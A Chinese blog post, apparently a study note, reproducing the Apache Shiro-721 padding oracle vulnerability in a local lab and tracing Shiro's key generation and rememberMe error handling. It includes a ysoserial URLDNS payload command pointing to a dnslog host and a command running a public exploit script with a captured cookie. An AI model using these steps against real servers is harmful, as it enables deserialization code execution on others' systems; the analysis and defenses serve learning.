Java学习之Shiro721
环境
这里我直接用的Drunkbaby佬的环境,自己搭建失败了,淦
漏洞原理
在Shiro721漏洞中,由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle Attack来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
虽然使用Padding Oracle Attack可以绕过密钥直接构造攻击密文,但是在进行攻击之前我们需要获取一个合法用户的Cookie。
漏洞利用条件
漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1
Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:
- 开启 rememberMe 功能;
- rememberMe 值使用 AES-CBC 模式解密;
- 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
- 密文可控;
复现漏洞
这里先正常登录,然后抓个登录后的包,这里还是和之前一样得用自己的IP才能抓到
然后利用yso工具生成一个payload.class
文件
1 | java8 -jar ysoserial-all.jar URLDNS "http://1ovhi7.dnslog.cn" > payload.class |
然后利用[如下exp](inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attack (github.com))进行Padding Oracle Attack:
1 | #https://github.com/3ndz/Shiro-721 |
这个脚本需要python2来运行,然后paddingoracle这个库直接在上面那个项目里面下载然后放到python2对应的库存放位置就行,我的地址如下
然后运行脚本爆破就行
1 | python2 exp.py http://172.21.97.44:8081/shiro721_war/account/ nAIv7BZvX7caZvpwmOXX081j1JGGQGBL936tN9gkgCcymvbHnt7Vgj8Alu7pBZSwFHbbUa776DI4T1WGeJ7YguSZOLuinOaIW1iHjwi0P1YFNcf0ZIYTimmKL0u3tWeGpTS276V9WqdYhd1oCsI7R/4wlZ28rodMjoNeADon742+JG4Mbj6ihQKNBL+mklXa/+u5tpd6NfbEbASAFSlQ8H/MdbwzhqVXyMOvteNR26adkcWJKZDhKBy5GE68fPi7OHWcSVsl6ZZUMTAZcsIiwzg9O/XDUEkAzK1TMEf3iibRbHhfD6jzNorfcEM9DZTZ6trEX8+TFHc6DHyVZE8I6De6+Iyq3Ysr0N222YRwc2uYc2UYMrZPho1p/JheNPJGN+DolcM03d8HxJF4tSDepkvn8uYzjps+U+h++zqAqWrkkDzG7vTJP7Zo9Z5YONCSuYRq3k7vL0sqoO+PRQ+18JNAOYi2Jjlu0y3JpYX1eROnIbVMp1lF81d9UIgueJuT payload.class |
然后利用爆破生成的cookie去打DNS就行,脚本作者说差不多一小时,其实这里大概几分钟就行
这里也可以利用飞鸿师傅的工具去打也行Shiro550/Shiro721 一键化利用工具
漏洞分析
密钥生成
在shiro550中密钥是硬编码,如下
1 | public AbstractRememberMeManager() { |
在Shiro721中,密钥的生成方式变为了动态生成
1 | public AbstractRememberMeManager() { |
然后跟进调试一下,断点如下,shiro通过generateNewKey()
方法获取密钥
进入generateNewKey()
方法,这里初始化了一个KeyGenerator对象,并且调用了init
继续跟进看看,这里获取到了一个随机数发生器SecureRandom
然后下一步调用了generateKey()
跟进看看
跟进之后发现这里调用了engineGenerateKey()
跟进去发现是个抽象类中的抽象方法,找到它的实现,在下面这里
在这里已经生成了一串16字节的随机序列,然后返回一个SecretKeySpec
对象,再使用getEncoded()
方法获取key
密钥序列,然后继续跟到getEncoded()
方法
这整个过程就是密钥生成的完整过程,调试能力太差了,不知道是不是没下源码的原因很多类都是class文件不太好调,都是直接下的断点
Padding Oracle Attack攻击中的布尔条件
以下内容参考Java反序列化漏洞——Shiro721 - 枫のBlog (goodapple.top)我这里就是跟着走一遍
Padding Oracle Attack攻击是一种类似于sql盲注的攻击,这就要求服务器端有能够被我们利用的布尔条件
在 Apache Shiro 的场景中,这个服务端的两个不同的响应特征为:
- Padding Oracle 错误时,服务端响应报文的 Set-Cookie 头字段返回
rememberMe=deleteMe
; - Padding Oracle 正确时,服务端返回正常的响应报文内容;
我们可以通过响应头来判断明文填充是否正确,进而爆破出中间值。那么对于解密不正确的 Cookie,Shiro 是怎么处理的呢?
Padding错误处理
解密函数在AbstractRememberMeManager.decrypt()
中
跟进cipherService.decrypt()
,最后到crypt()
中调用doFinal()
方法,这里我直接下断点了,一步步调问题太多了,也有可能是我调试能力差doFinal()
方法有IllegalBlockSizeException
和BadPaddingException
这两个异常,分别用于捕获块大小异常和填充错误异常。异常会被抛出到crypt()
方法中,最终被getRememberedPrincipals()
方法捕获,并执行onRememberedPrincipalFailure()
方法。onRememberedPrincipalFailure()
方法调用了forgetIdentity()
。该方法会调用removeFrom()
,在response头部添加字段Set-Cookie: rememberMe=deleteMe
。
倘若Padding结果不正确的话,响应包就会返回 Set-Cookie: rememberMe=deleteMe
。
Padding正确,反序列化处理
CBC模式下的分组密码,如果某一组的密文被破坏,那么在其之后的分组都会受到影响。这时候我们的密文就无法正确的被反序列化了。
Shiro中关于反序列化的处理在DefaultSerializer
类的deserialize()
方法下
如果反序列化的结果错误,则会抛出异常。最后异常仍会被 getRememberedPrincipals()
方法处理。继续往下跟即可看到来到了getRememberedPrincipals()
方法
这也就是上面讲的 response 包里会回显 302 且 rememberMe=deleteMe
但是对于 Java 来说,反序列化是以 Stream 的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化。后面的测试直接贴了上面那个大佬的测试图。
获取正常用户的 Cookie 并使用密钥解密,可以看到最后填充的数据为 0x0B
下面我们将其更改为其他合法填充方式,然后加密发送出去
服务器端正常响应,于是这里就构造出了布尔条件
- Padding 正确,服务器正常响应
- Padding 错误,服务器返回
Set-Cookie: rememberMe=deleteMe
防御方式
- 由于这种方法需要爆破得到key,因此可以对短时间内多次访问的ip进行禁止访问操作,达到防御目的。
- 升级至安全版本。
- 关闭rememberMe持久化登录功能。
参考借鉴:
Java反序列化Shiro篇02-Shiro721流程分析 | Drunkbaby’s Blog (drun1baby.top)
Java反序列化漏洞——Shiro721 - 枫のBlog (goodapple.top)shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理_shiro反序列化原理_Shanfenglan7的博客-CSDN博客